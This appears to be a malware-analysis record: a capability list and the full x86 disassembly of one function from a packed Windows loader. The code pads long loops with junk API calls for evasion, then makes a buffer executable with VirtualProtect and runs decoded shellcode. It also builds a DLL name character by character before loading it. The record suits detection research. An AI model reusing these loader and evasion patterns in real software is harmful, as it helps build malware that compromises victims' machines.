Function at 0x80f2d0
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Manipulate console buffer
Move file
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x8104fc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x2af0
call fcn.00413860
push ebx
mov ebx, dword [esp + 0x28]
push ebp
mov ebp, dword [esp + 0xec]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2d1a6
jge 0x80f321
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0xb9b120], 0x6fb
jne 0x80f339
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
cmp esi, 0x1e9af9f6
jle 0x80f351
cmp ebx, 0xc10b30
je 0x80f351
cmp ebp, 0x90503cc
jne 0x80f35a
inc esi
cmp esi, 0x83362
jl 0x80f30f
cmp dword [0xb9b120], 0xcf8
jne 0x80f4f0
push 0
call fcn.00407991
add esp, 4
xor ebp, ebp
push ebp
push ebp
call fcn.00417414
add esp, 8
lea eax, [esp + 0x48]
push eax
call fcn.00405b00
push ebp
call fcn.00407ae4
fldz
push ecx
fstp qword [esp]
call fcn.00407b20
fstp st(0)
push ebp
push ebp
call fcn.00407951
push ebp
push ebp
call fcn.00407951
push ebp
call fcn.00407c41
add esp, 0x1c
push ebp
push ebp
push ebp
call fcn.00407cf3
mov edx, dword [esp + 0x54]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xac]
add esp, 0xc
mov dword [esp + 0x38], ecx
mov dword [esp + eax + 0x48], 0x4046e4
mov dword [esp + 0x2b3c], ebp
test byte [esp + 0x98], 1
lea ecx, [esp + 0x58]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x58], 0x4046a4
je 0x80f409
mov edx, dword [esp + 0x68]
mov eax, dword [edx]
push eax
call fcn.00407b06
add esp, 4
mov eax, dword [esp + 0x68]
mov dword [eax], ebp
mov ecx, dword [esp + 0x78]
mov dword [ecx], ebp
mov edx, dword [esp + 0x88]
mov dword [edx], ebp
mov eax, dword [esp + 0x6c]
mov dword [eax], ebp
mov ecx, dword [esp + 0x7c]
mov dword [ecx], ebp
mov edx, dword [esp + 0x8c]
mov dword [edx], ebp
and dword [esp + 0x98], 0xfffffffe
mov dword [esp + 0x94], ebp
mov dword [esp + 0x58], 0x40465c
mov byte [esp + 0x2b3c], 1
mov eax, dword [esp + 0x90]
mov ebx, eax
cmp eax, ebp
je 0x80f4aa
mov edi, dword [eax]
cmp edi, ebp
je 0x80f4a1
push ebp
lea ecx, [esp + 0x38]
call fcn.00406fc2
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x80f47f
cmp eax, 0xffffffff
jae 0x80f47f
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x34]
and esi, edi
call fcn.00406fea
cmp esi, ebp
je 0x80f4a1
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebx
call fcn.00407b06
add esp, 4
lea ecx, [esp + 0x5c]
mov byte [esp + 0x2b3c], 0
call fcn.0040701b
mov dword [esp + 0x2b3c], 0xffffffff
mov eax, dword [esp + 0x48]
mov ecx, dword [eax + 4]
lea edx, [esp + 0xa0]
mov dword [esp + ecx + 0x48], 0x40469c
push edx
mov dword [esp + 0xa4], 0x40464c
call fcn.00406bce
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x80f50b
mov eax, 0x5d1
add dword [0xb9b120], eax
cmp dword [0xb9b120], 3
jne 0x80f522
push 0
push 0
lea eax, [esp + 0x308]
push eax
call edi
inc esi
cmp esi, 0x1518d4
jl 0x80f4f8
mov ecx, dword [0xb9b120]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov dword [0x81b184], eax
mov eax, dword [0xb9b120]
xor esi, esi
test eax, eax
je 0x80f578
call fcn.0080ee20
cmp dword [0xb9b120], 0x29
jne 0x80f56e
push 0
push 0
lea edx, [esp + 0xb08]
push edx
push 0
call edi
mov eax, dword [0xb9b120]
inc esi
cmp esi, eax
jb 0x80f550
cmp eax, 0x70
jne 0x80f6a4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0x4042d4
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [esp + 0xb00]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
lea ecx, [esp + 0x1b04]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push 0
lea edx, [esp + 0x1704]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
lea eax, [esp + 0x40]
push eax
push 0
lea ecx, [esp + 0xf0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0
push 0
lea edx, [esp + 0x308]
push edx
push 0
call edi
push 0x4042f4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
push 0x404134
push 0x404370
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
lea eax, [esp + 0x2304]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
push 0
push 0
lea ecx, [esp + 0xf08]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapDestroy]
mov dword [esp + 0x34], 0x9682ab
cmp dword [0xb9b120], 3
jne 0x80f6f1
push 0x4041bc
push 0
lea edx, [esp + 0xf08]
push edx
push 0x4043b8
push 0x404314
push 0x4043f8
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
cmp dword [0xb9b120], 0xdf
jne 0x80f797
push 0x404334
push 0
push 0
call edi
xor eax, eax
lea edx, [esp + 0x40]
push edx
push eax
push eax
lea ecx, [esp + 0xf0c]
push ecx
push eax
mov dword [esp + 0x4c], eax
call ebp
lea edx, [esp + 0x44]
push edx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call esi
push 0x404410
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0x404448
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push 0x4043b4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0
push 0x404480
push 0x404498
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
dec dword [esp + 0x34]
jne 0x80f6c4
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
lea esp, [esp]
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x80f7b0
mov edx, dword [0xb9b120]
mov eax, dword [0x81b184]
lea ecx, [esp + 0x3c]
push ecx
push 0x40
push edx
push eax
mov byte [0x8163f0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0080f0d0
mov eax, 0
add dword [0x81b184], eax
mov ecx, 0x73
mov edx, 0x6d
mov word [0xb9a132], cx
mov word [0xb9a136], dx
xor edx, edx
mov eax, 0x33
mov ecx, 0x67
mov word [0xb9a13a], ax
mov word [0xb9a146], dx
mov word [0xb9a138], cx
mov edx, 0x69
mov eax, 0x6d
mov ecx, 0x6c
push 0xb9a130
mov dword [0xb9a140], 0x6c0064
mov word [0xb9a134], dx
mov word [0xb9a130], ax
mov word [0xb9a144], cx
mov dword [0xb9a13c], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0xb9b120], 0xc30
jne 0x80f92a
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
lea ecx, [esp + 0x1c0]
push ecx
push 0x404558
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push esi
lea edx, [esp + 0x40]
push edx
push esi
lea eax, [esp + 0x30c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0x4044fc
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push esi
lea ecx, [esp + 0x1704]
push ecx
push 0x404514
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push esi
lea edx, [esp + 0xf04]
push edx
push 0x4045b0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push esi
lea eax, [esp + 0x2304]
push eax
push 0x40452c
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea ecx, [esp + 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edx, dword [esp + 0x3c]
push esi
push esi
push edx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
mov ecx, dword [esp + 0x2b34]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret